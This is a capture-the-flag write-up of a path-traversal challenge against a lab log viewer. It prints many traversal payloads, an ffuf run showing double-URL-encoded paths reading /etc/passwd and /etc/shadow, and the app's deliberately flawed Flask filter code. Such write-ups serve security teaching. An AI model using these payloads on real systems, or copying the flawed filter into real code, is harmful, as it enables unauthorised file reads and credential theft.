Mirage

NovaPan's log viewer seems a little too helpful. Can you see past the mirage?

Room Description

https://dashboard.webverselabs-pro.com/challenges/mirage

Mirage — figure 1

Okay, this is a completely different kind of environment compared to the labs we've done.

NovaPan is a popular web hosting control panel used by thousands of small businesses. A recent security audit flagged the log viewer feature as 'low risk' after basic path traversal attempts were blocked. Your job is to prove the auditors wrong.
Mirage — figure 2

No VPN is required, publicly accessible URL, shorter solve time.

Initial Analysis

Mirage — figure 3

So we have the dashboard, /sites, /logs and /settings.

I can't find a way to reach our profile, so might just be a hardcoded value.

Finding the bug

The challenge is labeled as LFI, and it even tells us that the "log viewer" feature was the thing being audited, so let's take a look at that.

Mirage — figure 4

We have several available logs and when we open any of them up we can see the details:

Mirage — figure 5

Through Burp we can see the request we send and we see that a file parameter is being sent in the URL.

Mirage — figure 6

Exploitation

The room description does say that basic path traversal attempts were blocked, but we need to try ourselves and see what kind of output the app gives.

Mirage — figure 7

We can try using ....//....// instead, but it will give us the same result.

Let's try URL encoding and see if we can get a bypass.

Mirage — figure 8

That didn't work, okay, similarly to DocketHive, we can try PHP wrappers.

Mirage — figure 9

Again, doesn't work.

We can also try mixed encoding and absolute file path, but those two don't work either.

I can't explain how many different things I tried manually cause I thought this would be an easy win, and I will try to let you get into my head on how dumb dumb I feel now.

I spent significant time analyzing the log files for hidden flags:

  • Session tokens: s_a8f3e2, s_d4b721, s_ee1290
  • Deployment IDs: dp_7b2a10, dp_9c4e55
  • Container tags: a1b2c3d, b7a3d12
  • Backup IDs: bk_acme_0414
  • API endpoints: /api/v2/deploy, /api/v2/billing
  • Email obfuscation strings in CloudFlare's data-cfemail attributes

Finding: Spinning up a second instance revealed all these values were static - they were part of the template, not the flag. The logs were a distraction (hence "Mirage" this is me literally coping, I don't really understand the Mirage part of this challenge).

Analyzing the filter (educated guesses)

Filter Analysis

The security filter blocks any input containing, this is to the best of my knowledge:

  • . (dot) - prevents .. traversal and file extensions
  • / (forward slash) - prevents directory traversal
  • \ (backslash) - prevents Windows paths

Behavior:

| Input Type | Filter Result | HTTP Status | Message | | -------------------------------------- | ------------- | ----------- | --------------------------------------- | | Contains /, ., \ | Blocked | 403 | "Access denied — invalid path detected" | | No malicious chars, file doesn't exist | Passed | 404 | "Log file not found" | | Whitelisted log file | Passed | 200 | Displays log content |

Bypassing the filter

Tried numerous bypass techniques:

Encoding Bypasses (Failed to traverse):

  • UTF-8 overlong: %c0%afetc%c0%afpasswd -> 404 (filter passed, path invalid)
  • Unicode slash: %ef%bc%8fetc%ef%bc%8fpasswd -> 404
  • Double-encoded backslash: %255cetc%255cpasswd -> 404
  • PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd -> 404
  • File URI: file:///etc/passwd -> 404

Mixed Encoding (Blocked):

..%252f..%252f..%252fetc/passwd

Response: 403 - The unencoded .. triggered the filter.

Null Byte Injection (Server Error):

%00/etc/passwd%00
etc/shadow%00

Response: 500 Internal Server Error - Application crash, but no file read.

And then I finally gave up, obviously this wasn't as simple as I thought, and I couldn't solve it manually or by just thinking of methodology off the top of my head so I decided to just draw a hardline that this is just an LFI blacklist bypass challenge and used wordlists to find the answer.

┌──(kali㉿kali)-[/usr/share/seclists/Fuzzing/LFI]
└─$ ffuf -u "https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=FUZZ" \
     -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \     
     -fw 0 \
     -fc 403,404 \
     -v 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403,404
 :: Filter           : Response words: 0
________________________________________________

[Status: 200, Size: 16791, Words: 5599, Lines: 535, Duration: 1530ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/shadow
    * FUZZ: %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/shadow

[Status: 500, Size: 16045, Words: 5559, Lines: 512, Duration: 1530ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=%00/etc/passwd%00
    * FUZZ: %00/etc/passwd%00

[Status: 500, Size: 16045, Words: 5559, Lines: 512, Duration: 1647ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=%00/etc/shadow%00
    * FUZZ: %00/etc/shadow%00

[Status: 200, Size: 17156, Words: 5601, Lines: 535, Duration: 3210ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
    * FUZZ: %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd

[Status: 500, Size: 16041, Words: 5559, Lines: 512, Duration: 2015ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=etc/shadow%00
    * FUZZ: etc/shadow%00

:: Progress: [930/930] :: Job [1/1] :: 21 req/sec :: Duration: [0:00:44] :: Errors: 0 ::

Mirage — figure 10

Using ffuf with the LFI-Jhaddix.txt wordlist, we discovered that deeply nested double-encoded traversals returned 200 OK instead of 403:

%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd

This payload uses 10 levels of .. traversal, all double-URL-encoded. The filter sees the literal string (no dots or slashes), but after multiple rounds of URL decoding by the application server, it eventually resolves to a valid path traversal!

The realization

And this is where it hit me, I never did double URL encoding properly so the solution isn't regarding deep nested traversal, it's regular double encoding.. I just did something with the backslashes instead of fully URL encoding the payload twice.

The wordlist helped, but also the payload ../../flag.txt would've worked if we just did proper double URL encoding with Burp.

Mirage — figure 11

Select our payload, right click for context menu and go to Convert Selection -> URL -> URL-encode all characters.

Mirage — figure 12
Mirage — figure 13
Mirage — figure 14

To get to the flag we can just replace etc/passwd with flag.txt and voila.

Mirage — figure 15

You can also get the flag by calling proc/self/environ using the same bypass technique.

Mirage — figure 16

Reading the source code to determine what the filter is (post-exploitation)

We can try to check usual app locations like /var/www/html, main.py, app.py and other filenames to hope and find the app, but this is just blindly guessing, we don't really know what it is.

We can try to check /proc/self/cwd and /proc/self/cmdline to see what we are working with, but unfortunately due to the output format of those files, we can't read them.

So checking /proc/self/maps is also valuable.

This does give us output and it's a large one so I won't bother adding it here, but the main takeaways are:

Python 3.11 is the interpreter: /usr/local/bin/python3.11
libpython3.11.so is loaded from /usr/local/lib/libpython3.11.so.1.0
Various Python C extensions are loaded from /usr/local/lib/python3.11/lib-dynload/
No custom application files are mapped directly from disk!

So knowing it's a Python application, we can check for index.py, main.py, application.py throughout the system. This lead us no where, so I decided to check for Docker naming conventions like /app/main.py or /app/app.py and lo and behold.

Mirage — figure 17
import os
import urllib.parse
from flask import Flask, request, render_template, redirect

app = Flask(__name__)

FLAG = os.environ.get("FLAG", "WEBVERSE{test_flag}")
LOGS_DIR = os.path.join(os.path.dirname(__file__), "logs")

LOG_FILES = [
    {"name": "access.log", "desc": "HTTP access log", "size": "24.3 KB", "modified": "2 min ago"},
    {"name": "error.log", "desc": "Application errors", "size": "8.1 KB", "modified": "14 min ago"},
    {"name": "auth.log", "desc": "Authentication events", "size": "3.7 KB", "modified": "1 hr ago"},
    {"name": "cron.log", "desc": "Scheduled tasks", "size": "1.2 KB", "modified": "6 hr ago"},
    {"name": "deploy.log", "desc": "Deployment history", "size": "5.9 KB", "modified": "2 days ago"},
]

SITES = [
    {"domain": "acmecorp.io", "status": "active", "ssl": True, "visits": "12.4K", "cpu": "3%", "plan": "Pro"},
    {"domain": "blog.jdoe.dev", "status": "active", "ssl": True, "visits": "1.8K", "cpu": "1%", "plan": "Starter"},
    {"domain": "staging.acmecorp.io", "status": "maintenance", "ssl": True, "visits": "342", "cpu": "0%", "plan": "Pro"},
    {"domain": "oldshop.example.com", "status": "suspended", "ssl": False, "visits": "0", "cpu": "0%", "plan": "Starter"},
]

STATS = {
    "sites": 4,
    "bandwidth": "48.2 GB",
    "storage": "12.7 / 50 GB",
    "uptime": "99.97%",
    "requests_today": "34,291",
    "blocked_threats": "127",
    "ssl_certs": 3,
    "backups": 7,
}


def write_flag():
    with open("/flag.txt", "w") as f:
        f.write(FLAG)


@app.route("/")
def index():
    return render_template("dashboard.html", stats=STATS)


@app.route("/sites")
def sites():
    return render_template("sites.html", sites=SITES)


@app.route("/logs")
def logs_index():
    return render_template("logs_index.html", log_files=LOG_FILES)


@app.route("/logs/view")
def view_log():
    filename = request.args.get("file", "access.log")

    # Security: block path traversal attempts
    if ".." in filename or filename.startswith("/") or "\\" in filename:
        return render_template(
            "logs_view.html",
            filename=filename,
            content=None,
            error="Access denied — invalid path detected.",
            log_files=LOG_FILES,
        ), 403

    # Normalize filename for consistent file handling
    clean = urllib.parse.unquote(filename)

    filepath = os.path.join(LOGS_DIR, clean)

    try:
        with open(filepath, "r") as f:
            content = f.read()
    except FileNotFoundError:
        return render_template(
            "logs_view.html",
            filename=filename,
            content=None,
            error="Log file not found.",
            log_files=LOG_FILES,
        ), 404
    except Exception:
        return render_template(
            "logs_view.html",
            filename=filename,
            content=None,
            error="Failed to read log file.",
            log_files=LOG_FILES,
        ), 500

    return render_template(
        "logs_view.html",
        filename=clean,
        content=content,
        error=None,
        log_files=LOG_FILES,
    )


@app.route("/settings")
def settings():
    return render_template("settings.html")


if __name__ == "__main__":
    write_flag()
    app.run(host="0.0.0.0", port=80)

That's the entire application, but the part we need most is:

@app.route("/logs/view")
def view_log():
    filename = request.args.get("file", "access.log")

    # Security: block path traversal attempts
    if ".." in filename or filename.startswith("/") or "\\" in filename:
        return render_template(..., error="Access denied — invalid path detected."), 403

    # Normalize filename for consistent file handling
    clean = urllib.parse.unquote(filename)

    filepath = os.path.join(LOGS_DIR, clean)

    try:
        with open(filepath, "r") as f:
            content = f.read()

The Bug:

  1. Filter Check: The filter checks the raw filename parameter for .., /, \. It does NOT decode URL-encoded characters first as far as I can see.
  2. Path Building: The code then does clean = urllib.parse.unquote(filename) and uses that to build the filepath.

Why Our Payload Worked:

Our payload: %252e%252e%252f%252e%252e%252f...flag.txt

  1. Filter Check: The raw string %252e%252e%252f... contains no dots or slashes (only %, 2, 5, e, f).
  2. URL Decoding: urllib.parse.unquote() decodes once:
    • %252e%2e
    • %252f%2f
  3. Result after one decode: %2e%2e%2f%2e%2e%2f...flag.txt
  4. File Open: The operating system receives this path. Some part of the stack does additional URL decoding, turning %2e -> . and %2f ->/.
  5. Final Path: ../../../../../../../../../flag.txt

The vulnerability is that the filter checks the raw URL-encoded string, but the path construction uses a partially decoded string, and the file system uses the fully decoded path. This is a classic URL decoding inconsistency vulnerability. Definitely a pain for me, should've just relied on automation this time around too :P.

So yep, this confirms that it has nothing to do with nesting or anything, it's just a simple double URL encode payload solution.